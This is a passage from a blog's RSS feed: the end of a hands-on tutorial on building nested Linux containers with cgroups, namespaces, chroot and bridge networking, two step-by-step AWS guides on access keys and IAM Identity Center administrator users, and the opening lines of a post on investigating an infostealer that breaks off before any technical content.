<pre><code class="lang-bash">sudo sh -c <span class="hljs-string">"echo 512M &gt; /sys/fs/cgroup/container1/memory.max"</span>
sudo sh -c <span class="hljs-string">"echo 20 &gt; /sys/fs/cgroup/container1/pids.max"</span>
sudo sh -c <span class="hljs-string">"echo 100 &gt; /sys/fs/cgroup/container1/cpu.weight"</span>
</code></pre>
<h3 id="heading-3-create-our-1st-container">3. Create our 1st Container</h3>
<p>Finally, we will create our first container by running the following command.</p>
<pre><code class="lang-bash">sudo cgexec -g memory,pids,cpu:container1 \
unshare --mount --uts --ipc --pid --fork --net \
chroot ubuntufs /bin/bash -c <span class="hljs-string">"hostname mycontainer-1 &amp;&amp; bash"</span>
</code></pre>
<p>This command runs a new process inside a controlled environment with limited resources and isolation.</p>
<ol>
<li><p>First, <code>cgexec -g memory,pids,cpu:container1</code> attach the new process with <code>container1</code> cgroup.</p>
</li>
<li><p>Then, <code>unshare --mount --uts --ipc --pid --fork --net</code> creates an isolated space for the process, separating its file system, hostname, inter-process communication, process IDs, and network from the main system.</p>
</li>
<li><p>Finally, <code>chroot ubuntufs /bin/bash -c "hostname mycontainer-1 &amp;&amp; bash"</code> changes the root directory to <code>ubuntufs</code>, sets the hostname to <code>mycontainer-1</code>, and starts a Bash shell.</p>
</li>
</ol>
<p>The following screenshot shows how new processes are created for the container:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737732331908/3174a60a-0a58-4457-8dcf-7657bee2eed3.png" alt class="image--center mx-auto" /></p>
<p>Basically, the container process is a new fork of the previous process in the main system. Everything executed inside that container will be a fork of that process. We will explore this further in the later part of this article.</p>
<h3 id="heading-31-some-additional-information-about-namespaces">3.1 Some additional information about Namespaces</h3>
<p>Till now, Linux kernel supports <strong>8</strong> different namespaces. These are:</p>
<ol>
<li><p><strong>Mount Namespace</strong></p>
<p> Isolates the file system mountpoint</p>
</li>
<li><p><strong>UTS Namespace</strong></p>
<p> Isolates hostname and domain name. Allows processes to have their own hostname and NIS domain name.</p>
</li>
<li><p><strong>IPC Namespace</strong></p>
<p> Isolates inter-process communication (IPC) resources, such as message queues, shared memory, and semaphores. Prevents processes in different IPC namespaces from interacting.</p>
</li>
<li><p><strong>PID Namespace</strong></p>
<p> Isolates process IDs. Processes in a PID namespace have their own independent set of process IDs, and they cannot see or interact with processes outside their namespace.</p>
</li>
<li><p><strong>Network Namespace</strong></p>
<p> Isolates network interfaces, IP addresses, routing tables, and port numbers. Each network namespace has its own virtual network stack.</p>
</li>
<li><p><strong>User Namespace</strong></p>
<p> Isolates user and group IDs. Allows a process to have root privileges inside the namespace while being a non-root user outside the namespace, enhancing security. (rootless container)</p>
</li>
<li><p><strong>Cgroup Namespace</strong></p>
<p> Isolates the view of control groups (cgroups). Processes in a cgroup namespace see only the part of the cgroup hierarchy that they are in.</p>
</li>
<li><p><strong>Time Namespace</strong></p>
<p> Isolates the system clock. Allows processes to have their own view of the system time, which is useful for containers that need to adjust their clocks independently of the host.</p>
</li>
</ol>
<p>In this article, we will not use the <em>last three</em> namespaces as they are relatively new and not all of them support or enabled in a docker container by default.</p>
<h3 id="heading-4-setup-inside-the-1st-container">4. Setup inside the 1st Container</h3>
<p>Though you are inside container, you can’t create any process. For that you need to mount the <code>/proc</code> pseudo-filesystem.</p>
<pre><code class="lang-bash">mount -t proc proc /proc
</code></pre>
<p>This will make the <code>/proc</code> directory available inside the chroot, allowing processes within the container to access vital system information like process IDs, memory stats, and other resources that are normally found in <code>/proc</code> on the host system.</p>
<p>To verify which control groups the current shell (or process) is associated with, you can inspect the <code>/proc/$$/cgroup</code> file. The <code>$$</code> is a shell variable that represents the process ID of the current shell session. By reading this file, you can see the cgroups and that your process is assigned to.</p>
<p>Run the following command:</p>
<pre><code class="lang-bash">cat /proc/$$/cgroup
</code></pre>
<p>This command will output the cgroup your current process belongs to.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737733177134/d6123bd0-8dfd-4e22-91bf-9c783292bb15.png" alt class="image--center mx-auto" /></p>
<p>From the image above, you can see that the container's network stack is isolated and only has a loopback interface. Therefore, we need to configure it further for network connectivity.</p>
<h3 id="heading-41-network-setup-inside-1st-container">4.1 Network setup inside 1st Container</h3>
<p>To create a virtual network bridge, you can use the <code>ip</code> command. A bridge allows multiple network interfaces to communicate as if they were on the same physical network, making it useful for connecting virtual machines or containers.</p>
<p>Run the following command on the host machine to create a bridge named <code>v-net-br</code>:</p>
<pre><code class="lang-bash">sudo ip link add v-net-br <span class="hljs-built_in">type</span> bridge
</code></pre>
<p>To view all active network namespaces on your system, you can use the <code>lsns</code> command with the <code>-t net</code> option. This provides detailed information about network namespaces, including the associated PIDs</p>
<pre><code class="lang-bash">sudo lsns -t net
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737733358254/72624689-6f52-46bb-b069-ad37b6157d97.png" alt class="image--center mx-auto" /></p>
<p>To create a virtual Ethernet (veth) pair and assign one end to a specific network namespace, use the following command. Here, <code>ve1</code> and <code>ve2</code> are the names of the veth interfaces, and <code>16700</code> is the PID of the target network namespace:</p>
<pre><code class="lang-bash">sudo ip link add ve1 netns 16700 <span class="hljs-built_in">type</span> veth peer name ve2
</code></pre>
<ul>
<li><p><code>ip link add</code>: Creates a new network link.</p>
</li>
<li><p><code>ve1 netns 16700</code>: Assigns one end of the veth pair (<code>ve1</code>) to the network namespace with PID <code>16700</code>.</p>
</li>
<li><p><code>type veth</code>: Specifies the creation of a virtual Ethernet pair.</p>
</li>
<li><p><code>peer name ve2</code>: Names the other end of the veth pair as <code>ve2</code>, which remains in the root namespace.</p>
</li>
</ul>
<p>This setup creates a virtual connection between the two namespaces, allowing them to communicate as if they were connected by a physical link.</p>
<p>To connect one end of a virtual Ethernet (veth) pair to a bridge, you can use the following command. Here, <code>ve2</code> is the veth interface in the default network namespace, and <code>v-net-br</code> is the bridge created earlier:</p>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> ve2 master v-net-br
</code></pre>
<ul>
<li><p><code>ip link set</code>: Modifies the properties of a network interface.</p>
</li>
<li><p><code>ve2</code>: The veth interface you want to attach to the bridge.</p>
</li>
<li><p><code>master v-net-br</code>: Specifies that <code>ve2</code> should become a member of the bridge <code>v-net-br</code>.</p>
</li>
</ul>
<p>This effectively connects <code>ve2</code> to the bridge, allowing it to communicate with other devices attached to the same bridge.</p>
<p>To assign an IP address to the <code>ve1</code> interface in the target network namespace, use the following command:</p>
<pre><code class="lang-bash">ip addr add 10.0.0.2/24 dev ve1
</code></pre>
<ul>
<li><p><code>ip addr add</code>: Adds an IP address to a network interface.</p>
</li>
<li><p><code>10.0.0.2/24</code>: Specifies the IP address (<code>10.0.0.2</code>) and subnet mask (<code>/24</code>, equivalent to <code>255.255.255.0</code>).</p>
</li>
<li><p><code>dev ve1</code>: Indicates the network interface (<code>ve1</code>) to which the IP address should be assigned.</p>
</li>
</ul>
<p>This command automatically adds a route to the routing table unless specified otherwise.</p>
<p>To assign an IP address to the bridge interface <code>v-net-br</code>, use the following command:</p>
<pre><code class="lang-bash">sudo ip addr add 10.0.0.5/24 dev v-net-br
</code></pre>
<p>This step allows the bridge to act as a gateway or communicate directly within the <code>10.0.0.0/24</code> subnet, making it a central point for routing traffic between connected interfaces.</p>
<p>To assign an IP address to the <code>ve2</code> interface in the default namespace without modifying the routing table, use the following command:</p>
<pre><code class="lang-bash">sudo ip addr add 10.0.0.3/24 dev ve2 noprefixroute
</code></pre>
<p>Here, <code>noprefixroute</code> prevents the automatic addition of a route for the specified IP address to the routing table.</p>
<p>This allows <code>ve2</code> to communicate within the <code>10.0.0.0/24</code> subnet without interfering with the system's global routing table.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737733539100/7641134d-7bf3-478e-a015-3a811d32d64a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737733641654/530b1990-38bc-4484-a973-4f79ce5e1f8c.png" alt class="image--center mx-auto" /></p>
<p>To bring the <code>ve1</code>, <code>ve2</code>, <code>v-net-br</code> interface up and make it active, use the following command:</p>
<pre><code class="lang-bash">ip link <span class="hljs-built_in">set</span> ve1 up
</code></pre>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> ve2 up
</code></pre>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> v-net-br up
</code></pre>
<p>To set a default gateway for the network interface inside container, use the following command:</p>
<pre><code class="lang-bash">ip route add default via 10.0.0.5
</code></pre>
<ul>
<li><p><code>ip route add</code>: Adds a new route to the system’s routing table.</p>
</li>
<li><p><code>default</code>: Specifies the default route, which is used when no other route matches the destination.</p>
</li>
<li><p><code>via 10.0.0.5</code>: Sets <code>10.0.0.5</code> as the gateway (next-hop) for the default route.</p>
</li>
</ul>
<p>This command ensures that any traffic destined for an unknown network will be forwarded to the IP address <code>10.0.0.5</code>, which is the bridge IP that is working as gateway.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739806265/45ed69e9-b942-46c9-b3d4-22b732cb7987.png" alt class="image--center mx-auto" /></p>
<p>To enable NATting for the <code>10.0.0.0/24</code> subnet, use the following <code>iptables</code> command. This command allows traffic from the subnet to be masqueraded with the IP address of the internet facing interface’s private IP address.</p>
<pre><code class="lang-bash">sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -j MASQUERADE
</code></pre>
<ul>
<li><p><code>iptables -t nat</code>: Specifies the NAT table.</p>
</li>
<li><p><code>-A POSTROUTING</code>: Appends a rule to the POSTROUTING chain, which handles traffic leaving the system.</p>
</li>
<li><p><code>-s 10.0.0.0/24</code>: Defines the source network (<code>10.0.0.0/24</code>), specifying the traffic that should be subject to NAT.</p>
</li>
<li><p><code>-j MASQUERADE</code>: Uses the <code>MASQUERADE</code> target, which dynamically replaces the source IP address of outgoing packets with the IP address of the outgoing network interface.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739320058/a96972cf-3025-4f14-b489-2f85d46ff5a6.png" alt class="image--center mx-auto" /></p>
<p>To enable IP forwarding on host system, which is necessary for routing traffic between different network interfaces, use the following command:</p>
<pre><code class="lang-bash">sudo sysctl -w net.ipv4.ip_forward=1
</code></pre>
<ul>
<li><p><code>sysctl -w</code>: Modifies a kernel parameter at runtime.</p>
</li>
<li><p><code>net.ipv4.ip_forward=1</code>: Enables IP forwarding for IPv4, allowing the system to forward packets between different network interfaces.</p>
</li>
</ul>
<p>This command is essential when setting up network routing or working with NAT, as it ensures the system can route traffic between networks or namespaces. To make the change persistent across reboots, you can add <code>net.ipv4.ip_forward=1</code> to <code>/etc/sysctl.conf</code> and run <code>sysctl -p</code> to apply the settings.</p>
<p>To change the DNS nameserver in container to <code>9.9.9.9</code>, use the following command:</p>
<pre><code class="lang-bash">sed -i <span class="hljs-string">'s/nameserver .*/nameserver 9.9.9.9/'</span> /etc/resolv.conf
</code></pre>
<p>This command will update the DNS resolver to use <code>9.9.9.9</code>. This change allows your system to resolve domain names using Quad9’s DNS service.</p>
<p>To mount the <code>devpts</code> filesystem, which is used for managing pseudo-terminals, use the following command:</p>
<pre><code class="lang-bash">mount -t devpts devpts /dev/pts
</code></pre>
<ul>
<li><p><code>mount -t devpts</code>: Specifies that the filesystem type to mount is <code>devpts</code>, which is responsible for providing pseudo-terminals.</p>
</li>
<li><p><code>devpts</code>: The source of the filesystem (in this case, the <code>devpts</code> virtual filesystem).</p>
</li>
<li><p><code>/dev/pts</code>: The target directory where the <code>devpts</code> filesystem will be mounted, typically used for controlling terminal sessions.</p>
</li>
</ul>
<p>This command enables the use of terminal devices, which are essential for processes that require interactive shell access, such as when running commands inside containers or chroot environments.</p>
<p>To enable additional software repositories and install the required tools for managing cgroups, use the following commands:</p>
<p>This installs the <code>software-properties-common</code> package, which provides tools for managing repositories and adding PPAs.</p>
<p>This command adds the <code>universe</code> repository, which contains open-source software packages that are not officially supported but are still available for installation.</p>
<p>Finally, this installs the <code>cgroup-tools</code> package, which provides utilities for managing control groups (cgroups) on Linux systems.</p>
<p>These steps set up the system for working with cgroups, which are essential for resource management and isolation in containerized environments.</p>
<pre><code class="lang-bash">apt install software-properties-common
add-apt-repository universe
apt install cgroup-tools -y
</code></pre>
<p>Running the previous command resulted in this error in my case: <code>the public key is not available: NO_PUBKEY 871920D1991BC93C</code>. To fix this, I added the keyring using the following command:</p>
<pre><code class="lang-plaintext">apt install wget -y
mkdir -p /etc/apt/keyrings
wget -qO /etc/apt/keyrings/ubuntu-archive-keyring.gpg https://keyserver.ubuntu.com/pks/lookup?op=get&amp;search=0x871920D1991BC93C
apt update
</code></pre>
<p>To set up the cgroup filesystem and mount it for use, you can run the following commands:</p>
<p>This creates the <code>/sys/fs/cgroup</code> directory if it doesn't already exist. It's the mount point where the cgroup filesystem will be accessed.</p>
<pre><code class="lang-bash">mkdir -p /sys/fs/cgroup
mount -t cgroup2 none /sys/fs/cgroup
</code></pre>
<p>This command mounts the cgroup version 2 filesystem at <code>/sys/fs/cgroup</code>. The <code>none</code> option indicates that there is no device associated with the mount, and the <code>-t cgroup2</code> specifies that the mount should be of type <code>cgroup2</code>.</p>
<p>Now we can use <code>cgcreate</code> command like before to create <code>container2</code> cgroup.</p>
<pre><code class="lang-bash">cgcreate -g memory,pids,cpu:container2
</code></pre>
<pre><code class="lang-bash">cgset -r memory.max=256M container2
cgset -r pids.max=10 container2
cgset -r cpu.weight=100 container2
</code></pre>
<p>Now let’s move to root directory inside the container.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> ~
</code></pre>
<h3 id="heading-5-create-our-2nd-container">5. Create our 2nd Container</h3>
<p>Now let’s run the following command to create another container inside a container.</p>
<pre><code class="lang-bash">cgexec -g memory,pids,cpu:container2 \
unshare --mount --propagation private --uts --ipc --pid --fork --net \
chroot lubuntufs /bin/bash -c <span class="hljs-string">"hostname mycontainer-2 &amp;&amp; bash"</span>
</code></pre>
<p>And here you go. Container inside container.</p>
<p>If we see this from host system, the process looks like the following.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737737519599/15dddc12-884d-42fe-8e66-881ad0a99012.png" alt class="image--center mx-auto" /></p>
<p>Note that this command is similar to the one we used to create <code>mycontainer-1</code>. However, we are not using the <code>--mount</code> flag for the mount namespace. Why did we do this? Honestly, I don't have a clear idea. I set the propagation type to <code>private</code> on the host machine, but it didn't work. The only time it works is when I'm not using the <code>--mount</code> flag. We will discuss the consequences of not using the mount namespace later in this article.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737740115048/56a3bf81-4edd-4840-8ca3-ec31ddb37feb.png" alt class="image--center mx-auto" /></p>
<p>Now, we will follow similar steps to set up our third container inside the second container. Instead of explaining all the commands again, I'll simply list them below.</p>
<pre><code class="lang-bash">mount -t proc proc /proc
</code></pre>
<pre><code class="lang-bash">sudo lsns -t net
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737737360533/baff2553-bafd-4985-baba-585b8c8101c4.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">sudo ip link add ve3 netns 19210 <span class="hljs-built_in">type</span> veth peer name ve4
</code></pre>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> ve4 master v-net-br
</code></pre>
<pre><code class="lang-bash">ip link <span class="hljs-built_in">set</span> ve3 up
</code></pre>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> ve4 up
</code></pre>
<pre><code class="lang-bash">ip addr add 10.0.0.20/24 dev ve3
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739523573/a37d6df1-b279-484c-8b59-0a7e7b9a7dd5.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">sudo ip addr add 10.0.0.30/24 dev ve4 noprefixroute
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739493475/3bac6348-dbfb-4cf0-bf4a-5d95e477e80a.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">ip route add default via 10.0.0.5
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739556573/eb3ff11c-0752-4886-a2ae-fbd69f53dec6.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">sed -i <span class="hljs-string">'s/nameserver .*/nameserver 9.9.9.9/'</span> /etc/resolv.conf
</code></pre>
<pre><code class="lang-bash">mount -t devpts devpts /dev/pts
</code></pre>
<pre><code class="lang-bash">apt install software-properties-common
add-apt-repository universe
apt install cgroup-tools -y
</code></pre>
<pre><code class="lang-bash">mkdir -p /sys/fs/cgroup
</code></pre>
<pre><code class="lang-bash">mount -t cgroup2 none /sys/fs/cgroup
</code></pre>
<pre><code class="lang-bash">cgcreate -g memory,pids,cpu:container3
</code></pre>
<pre><code class="lang-bash">cgset -r memory.max=256M container3
cgset -r pids.max=10 container3
cgset -r cpu.weight=100 container3
</code></pre>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> ~
</code></pre>
<h3 id="heading-6-create-our-3rd-container">6. Create our 3rd Container</h3>
<p>Now we are creating our third container inside second container.</p>
<pre><code class="lang-bash">cgexec -g memory,pids,cpu:container3 \
unshare --uts --ipc --pid --fork --net \
chroot llubuntufs /bin/bash -c <span class="hljs-string">"hostname mycontainer-3 &amp;&amp; bash"</span>
</code></pre>
<p>This is the process view from the host machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739006680/91b75c0b-0d4c-435e-abff-ce92224b72e2.png" alt class="image--center mx-auto" /></p>
<p>Finally, if we want to view the route table of our host machine, it looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739102139/88c14299-ef14-40bb-bc5c-58656c5130e8.png" alt class="image--center mx-auto" /></p>
<p>Although we have only configured the second entry, the others are initially set up by AWS.</p>
<h2 id="heading-result-of-not-using-mount-namespace">Result of not using Mount Namespace</h2>
<p>As mentioned earlier, I couldn't create a separate mount namespace in <code>mycontainer-2</code> and <code>mycontainer-3</code>. As a result, the mount path of <code>mycontainer-3</code> is accessible from <code>mycontainer-2</code> and <code>mycontainer-1</code>, but not from the host machine. We can see a similar situation in <code>mycontainer-2</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739651838/e205f6a4-7cf2-48e4-8a18-a8c4a38f893b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739662673/ce090879-e743-41f9-91d6-e86dd5e160cc.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737739755650/9778bc42-b628-407c-8df5-0157448e9d9c.png" alt class="image--center mx-auto" /></p>
<p>If you enjoyed this article, you might also like my article on <a target="_blank" href="https://hashnode.com/post/clx5qfuy5000308l94cuq7ana">OverlayFS, how it works, and how Docker uses it</a>. Until my next article, <em>As-salamu Alaykum</em>.</p>
]]></content:encoded></item><item><title><![CDATA[Creating AWS Access Keys for IAM and IAM Identity Center Users]]></title><description><![CDATA[Introduction
This document outlines the procedures for creating AWS Access Keys for both IAM users and IAM Identity Center (Federated) Users. These credentials are used for programmatic access to AWS services, enabling applications and tools to inter...]]></description><link>https://blog.kcnaiamh.com/creating-aws-access-keys-for-iam-and-iam-identity-center-users</link><guid isPermaLink="true">https://blog.kcnaiamh.com/creating-aws-access-keys-for-iam-and-iam-identity-center-users</guid><category><![CDATA[AWS]]></category><category><![CDATA[IAM]]></category><category><![CDATA[AWS IAM Identity Center]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Thu, 30 Jan 2025 18:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743427347703/efc73f80-1c79-4fdf-8245-ecf480378367.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>This document outlines the procedures for creating AWS Access Keys for both IAM users and IAM Identity Center (Federated) Users. These credentials are used for programmatic access to AWS services, enabling applications and tools to interact with AWS resources.</p>
<h3 id="heading-creating-access-keys-for-iam-users">Creating Access Keys for IAM Users</h3>
<ol>
<li><p><strong>Log in to the AWS Management Console</strong></p>
<ul>
<li>Log in to the AWS Management Console using an account with sufficient permissions to manage IAM users.</li>
</ul>
</li>
<li><p><strong>Navigate to the IAM Service</strong></p>
<ul>
<li>Search for and select "IAM" from the AWS services list.</li>
</ul>
</li>
<li><p><strong>Select Users</strong></p>
<ul>
<li>In the IAM dashboard, select "Users" from the left navigation pane.</li>
</ul>
</li>
<li><p><strong>Choose the IAM User</strong></p>
<ul>
<li>Select the IAM user for whom you want to create access keys.</li>
</ul>
</li>
<li><p><strong>Go to the Security Credentials Tab</strong></p>
<ul>
<li>Click on the "Security credentials" tab.</li>
</ul>
</li>
<li><p><strong>Create Access Key</strong></p>
<ul>
<li><p>In the "Access keys" section, click "Create access key."</p>
</li>
<li><p>Choose the use case for the key. For automated access choose "Command Line Interface (CLI)".</p>
</li>
<li><p>Click "Next" then "Create access key".</p>
</li>
</ul>
</li>
<li><p><strong>Store the Access Key and Secret Key</strong></p>
<ul>
<li><p>A dialog box will display the Access Key ID and Secret Access Key.</p>
</li>
<li><p><strong>Important:</strong> Download the <code>.csv</code> file or copy the keys and store them in a secure location. The Secret Access Key is only displayed once and cannot be retrieved later.</p>
</li>
<li><p>Click "Done".</p>
</li>
</ul>
</li>
</ol>
<h3 id="heading-obtaining-access-keys-for-aws-iam-identity-center-users">Obtaining Access Keys for AWS IAM Identity Center Users</h3>
<p>AWS IAM Identity Center (formerly AWS SSO) allows users to access multiple AWS accounts and applications with a single set of credentials. Here's how to obtain temporary credentials for IAM Identity Center users.</p>
<p>Go to <a target="_blank" href="https://docs.aws.amazon.com/signin/latest/userguide/iam-id-center-sign-in-tutorial.html">AWS access portal</a> of your AWS organization and follow any of the following option for temporary authentication.</p>
<ul>
<li><p><strong>Option 1: Using AWS CLI</strong></p>
<ul>
<li><p>To extend the duration of your credentials, it is <em>recommended</em> to configure the AWS CLI to retrieve them automatically using the <code>aws configure sso</code> command.</p>
</li>
<li><p>After running the command, you have to follow these steps:</p>
<ol>
<li><p>Give SSO start URL</p>
</li>
<li><p>Give SSO Region</p>
</li>
<li><p>SSO authorization page will pop up in the default browser window. If you're in a server then go to the given URL in your browser and enter the code.</p>
</li>
<li><p>Select the AWS account you want to use.</p>
</li>
<li><p>Specify default region.</p>
</li>
<li><p>Specify output format</p>
</li>
<li><p>Specify profile name</p>
</li>
</ol>
</li>
<li><p>Use <code>aws sso login --profile &lt;PROFILE_NAME&gt;</code> command when session token expires, and you need to login again.</p>
</li>
</ul>
</li>
<li><p><strong>Option 2: Set AWS environment variables</strong></p>
<ul>
<li>Export Access Keys as shells environment variables.</li>
</ul>
</li>
</ul>
<pre><code class="lang-bash">    <span class="hljs-built_in">export</span> AWS_ACCESS_KEY_ID=<span class="hljs-string">"YOUR_AWS_ACCESS_KEY_ID"</span>
    <span class="hljs-built_in">export</span> AWS_SECRET_ACCESS_KEY=<span class="hljs-string">"YOUR_AWS_SECRET_ACCESS_KEY"</span>
    <span class="hljs-built_in">export</span> AWS_SESSION_TOKEN=<span class="hljs-string">"YOUR_AWS_SESSION_TOKEN"</span>
</code></pre>
<ul>
<li><p><strong>Option 3: Add a profile to your AWS credentials file</strong></p>
<ul>
<li>Copy and paste Access Keys in your AWS credentials file (<code>~/.aws/credentials</code>).</li>
</ul>
</li>
</ul>
<pre><code class="lang-plaintext">    [PROFILE_NAME]
    aws_access_key_id=YOUR_AWS_ACCESS_KEY_ID
    aws_secret_access_key=YOUR_AWS_SECRET_ACCESS_KEY
    aws_session_token=YOUR_AWS_SESSION_TOKEN
</code></pre>
<ul>
<li>To use this profile, specify the profile name using <code>--profile</code></li>
</ul>
<pre><code class="lang-bash">    aws s3 ls --profile &lt;PROFILE_NAME&gt;
</code></pre>
<ul>
<li><p><strong>Option 4: Use individual values in your AWS service client</strong></p>
<ul>
<li>Copy and paste Access Keys in your code.</li>
</ul>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Though getting access keys of IAM user is pretty straight forward, there is a risk of the secrets getting leaked, thus need to rotate regularly. On the other hand, getting access keys of IAM Identity Center user is cumbersome, but it adds security as the credentials are temporary.</p>
]]></content:encoded></item><item><title><![CDATA[Creating an Administrative Access User Using AWS IAM Identity Center]]></title><description><![CDATA[Introduction

AWS IAM Identity Center is the AWS solution for connecting workforce users to AWS-managed applications and other AWS resources.

It allows connecting existing identity providers or managing users directly in IAM Identity Center for user...]]></description><link>https://blog.kcnaiamh.com/creating-an-administrative-access-user-using-aws-iam-identity-center</link><guid isPermaLink="true">https://blog.kcnaiamh.com/creating-an-administrative-access-user-using-aws-iam-identity-center</guid><category><![CDATA[AWS]]></category><category><![CDATA[AWS IAM Identity Center]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Thu, 09 Jan 2025 18:00:00 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-introduction"><strong>Introduction</strong></h2>
<ul>
<li><p>AWS IAM Identity Center is the AWS solution for <strong>connecting workforce users</strong> to AWS-managed applications and other AWS resources.</p>
</li>
<li><p>It allows connecting existing identity providers or managing users directly in IAM Identity Center for user access to applications and AWS accounts.</p>
</li>
<li><p>The importance of secure administrative access management is to control and protect AWS resources by defining who can access them and what actions they can perform.</p>
</li>
</ul>
<h2 id="heading-prerequisites"><strong>Prerequisites</strong></h2>
<ul>
<li><p>An AWS account.</p>
</li>
<li><p>Administrative permissions to the AWS Management Console.</p>
</li>
<li><p>If using AWS Organizations, the management account is required for organization instances of IAM Identity Center.</p>
</li>
<li><p>Ensure IAM Identity Center is enabled in your AWS account.</p>
</li>
</ul>
<h2 id="heading-step-by-step-guide-to-creating-an-administrative-access-account"><strong>Step-by-Step Guide to Creating an Administrative Access Account</strong></h2>
<ol>
<li><p><strong>Accessing the AWS IAM Identity Center Console:</strong></p>
<ul>
<li><p>Log in to the AWS Management Console as the root user or with IAM credentials that have administrative permissions.</p>
</li>
<li><p>Open the IAM Identity Center console.</p>
</li>
</ul>
</li>
<li><p><strong>Creating a User in IAM Identity Center:</strong></p>
<ul>
<li><p>If you're using the default Identity Center directory:</p>
<ul>
<li>Navigate to Users and choose "Add user".</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>        <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743403079008/f830bdb4-18be-4da0-8e71-5faf344c4125.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Specify a username, which can't be changed later.</p>
</li>
<li><p>Set a password (either send an email to the user or generate a one-time password).</p>
</li>
<li><p>Provide a valid email address.</p>
</li>
<li><p>Enter the user's first and last name.</p>
</li>
<li><p>(Optional) Add other user details</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743403234346/05d335aa-7287-42ab-8aa4-33855a10691a.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>An invitation link is sent to the given email address.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743404568257/fc48c036-a225-44e1-b158-45c5eb1f5e46.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Bookmark the AWS access portal URL to easily access the account in future.</p>
</li>
<li><p>You will set a new password and MFA authentication method for future login with your created user.</p>
</li>
</ul>
</li>
</ul>
<ol start="3">
<li><p><strong>Assigning Administrative Permissions:</strong></p>
<ul>
<li><p>To grant administrative permissions, you'll create a permission set.</p>
</li>
<li><p>In the IAM Identity Center console, navigate to AWS accounts.</p>
</li>
<li><p>Select the management account.</p>
</li>
<li><p>Choose "Assign users or groups".</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743403623748/23fa36c5-7d58-4408-866f-c9da1f075341.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Select the created user from <code>Users</code> tab.</p>
</li>
<li><p>Choose or create a permission set with administrative privileges (e.g., <code>AdministratorAccess</code>).</p>
</li>
<li><p>Submit the assignment.</p>
</li>
</ul>
</li>
</ol>
<hr />
<p>You’re all done! From now on, to log into your administrative federated user, you just need to do the following:</p>
<ol>
<li><p>Go to AWS access portal URL you received previously in your email.</p>
</li>
<li><p>Give username, password</p>
</li>
<li><p>Give Your MFA code</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Unmasking Infostealer: Don't Believe What You See...]]></title><description><![CDATA[Introduction
Imagine stumbling across a seemingly harmless script while hunting for tools online, only to uncover a sophisticated malware designed to steal passwords, session tokens, and cookies. That’s exactly what happened to me, and it sent me dow...]]></description><link>https://blog.kcnaiamh.com/unmasking-infostealer-dont-believe-what-you-see</link><guid isPermaLink="true">https://blog.kcnaiamh.com/unmasking-infostealer-dont-believe-what-you-see</guid><category><![CDATA[Malware]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Tue, 17 Dec 2024 15:56:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/MPKQiDpMyqU/upload/efb792139d5a49e1c660a3772033b1bb.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduction">Introduction</h3>
<p>Imagine stumbling across a seemingly harmless script while hunting for tools online, only to uncover a sophisticated malware designed to steal passwords, session tokens, and cookies. That’s exactly what happened to me, and it sent me down a rabbit hole of investigation. In this blog post, I’ll take you on that journey.</p>
<h3 id="heading-the-start-of-the-journey">The Start of the Journey</h3>
